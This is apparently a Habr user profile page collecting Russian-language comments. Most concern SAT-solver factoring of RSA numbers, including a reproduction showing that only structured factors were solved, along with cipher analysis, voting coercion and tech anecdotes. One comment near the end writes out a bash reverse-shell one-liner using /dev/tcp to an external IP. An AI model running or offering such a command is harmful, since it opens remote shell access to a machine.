Search
Write a publication
Pull to refresh
3
0.1

User

Send message

Наличие полиномиального солвера ведь эквивалентно открытию P=NP...

Если продемонстрировать что P=NP, мы можем не то что RSA факторить, а вообще делов натворить

Справедливо, комменты ведь не место для дискуссий, правдива ли статья

А как вам кажется, скорее моё число какое-то особенное, что его сат-солвер не может разложить, или ваше в примере особенное, что его успешно раскладывает? По-моему вас запутал чатгпт, взяв для примера в своём скрипте очень структурированные множители, что создало иллюзию что этот подход может факторизовать 512-битные числа.

Попробуйте ещё несколько чисел, чтобы найти вероятность, какую долю чисел солвер успевает вычислить за резонное время (нужно дать хотя бы те же 6 часов на вашем оборудовании)

Предлагаю наоборот: я ж уже поставил 2 эксперимента с 512-битными числами (первый репро из статьи разложился, второй рандомный не разложился), а вы только один :) Попробуйте найти всего лишь ещё одно 512-битное случайное полупростое, с которым бы сат-солвер справился. Если верить статье, это должно быть сделать очень легко — тем более у вас отрабатывает за 3.5ч вместо моих 6ч.

Ток на деле статья-то не работает.

Не, ускорить не получится, у умножения самого по себе нету какой-то хитрой скрытой структуры, с которой сат-солвер мог бы помочь. И у умножения хороший «лавинный эффект» — если посмотреть на умножение двух длинных чисел в виде битов, биты в середине результата зависят сразу от большинства бит обоих множителей. Солверу остаётся только перебирать.

Чтоб читатели не надеялись зря — такие цифры и недостижимы.

Число из примера раскладывается так быстро, потому что оно из очень структурированных множителей: с кучей бинарных 1'чек подряд (FFFFFF...)

Я попробовал воспроизвести, запустив код из статьи. Kissat успешно разложил число из примера за 6ч реального времени / 3ч процессорного. Дальше я поменял число на какое-нибудь реалистичное, с нормальными рандомными множителями — 53ч реального / 25ч процессорного времени спустя сат-солвер так ничего и не засолвил.

Сат-солвер на такой задаче может чуть-чуть упростить формулу, а дальше ему остаётся только обильно брутфорсить. Когда искомые числа очень структурированные (куча единичных бит), этот брутфорс быстро натыкается на решение. А в общем случае — не натыкается.

Если что, число из статьи — это:

p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
q = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
N = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFEFFFFFC2F000003CFFFFFFC2EFFFFFFFFFFFFFFFEFFFFFC2F0000000000000001000003D1
    const uint64_t expected[8] = {
        0x00000001000003d1ULL, 0xfffffc2f00000000ULL,
        0xfffffffffffffffeULL, 0x000003cffffffc2eULL,
        0xfffffffefffffc2fULL, 0x00000000ffffffffULL,
        0x0000000000000000ULL, 0xffffffff00000001ULL
    };

А моё рандомное, которое сат-солвер ожидаемо не осилил:

p = 0x587A9436A2C29AF0556EFF9F0D4E401845C04BB620E51F66CF4AB11D61783561
q = 0xDFB1F31B89B8AFAE7B09356C026210DB8266314972775A1B99A6E6F764DECC2D
N = 0x4D5047E1F0C4F9EA3BB6860776E59E9C7F507FFA245F99041E786EB80A7EDF5514B4FA4F00EF2ECF36C749062673F8208F1BD394D2757236A7A8AD851AC8AE0D
    const uint64_t expected[8] = {
        0xA7A8AD851AC8AE0Dull, 0x8F1BD394D2757236ull,
        0x36C749062673F820ull, 0x14B4FA4F00EF2ECFull,
        0x1E786EB80A7EDF55ull, 0x7F507FFA245F9904ull,
        0x3BB6860776E59E9Cull, 0x4D5047E1F0C4F9EAull
    };

Сорри, что хайджекнул верхний коммент :)

Это ж вам придётся передать другому человеку в тайне 5 восьмизначных чисел (ключ). Какой смысл — можно изначальные 10 букв сообщения и передать в тайне.

Зашифруйте фразу хотя бы из 40 букв, тогда будет какой-то смысл.

Вопрос в принуждении: если есть возможность проверить свой голос, начальник цеха может попросить у всех подчинённых доказательство, что они проголосовали за кого надо.


Кажется, есть противоречие — хочется иметь возможность правдоподобно обмануть принуждающего, но одновременно чтобы был способ однозначно доказать общественности, если твой голос украли.

Можно и не книги, тут быстрый курс про то, как ёмко и понятно писать http://maximilyahov.ru/blog/all/availability/


Как расширенный набор приёмов из этой статьи: есть про глаголы и штампы, но и ещё куча дополнительного. Я так понимаю, Ильяхов (и Артём Горбунов?) как раз перекладывали Нору Галь на нынешнее время

Sevastyan01, а сможете рассказать простым языком про последние достижения в криптоанализе Кузнечика — https://who.paris.inria.fr/Leo.Perrin/pi.html ?


Говорят, там нашли скрытую алгебраическую структуру в таблице преобразования (которая у вас огромным блоком из байт вставлена), такая же скрытая структура выявлена в белорусском ГОСТовом шифре, а авторы Кузнечика после публикации сливаются, говоря что это всё случайность.

А что тогда будет делать ^0 ?

А когда они не с нуля? (в шарпах не шарю)

Ну кстати ~0 для интов как раз отлично бы работал %)


Флип всех битов как раз даёт ~0 == -1, ~1 == -2 и т.д., можно было бы сделать отрицательные индексы для "с конца", таким образом сохранить соместимость с питонистами, а остальным объяснить что надо ~0 юзать

Так в презе красным обводится то что они выбрали как раз.

Вот преза: www.ruscrypto.ru/resource/archive/rc2013/files/03_shishkin.pdf
Кажется потому что это не соответствует синтаксису письма (где в скобках пояснение), но зато соответствует синтаксису математики, где пробела нет: f(x) = «ф от икс», f (x) = «ф (а может и икс)».
У меня была виртуалка на FirstVDS (FirstJohn). После попадания в блеклист, она начала блокироваться на самом фёрствдсе (!) — прямо на маршрутизаторе хостера не пропускался никакой трафик до неё. В результате до неё нельзя было достучаться даже с хостов, которые сами ничего не фильтруют по блеклистам — виртуалка включена, но весь входящий трафик зарезан.

Саппорт помогать отказывался, в том числе поменять айпишник или скопировать данные.

Исходящий с неё трафик причём проходил нормально. Пришлось сдувать данные оттуда поверх UDP %)
Только если получается через него сделать хендшейк с серверами телеграма
А можно бекконнект-шелл поднять, и интерактивно настроить))
!bash -c 'bash -i >/dev/tcp/123.22.33.44/5555 2>&1 <&1'

Add: понял, что глупость сказал — там же суть в том, что это временный инстанс, и команды с ! дают его настроить при перенакате
1
23 ...

Information

Rating
Does not participate
Location
Россия
Registered
Activity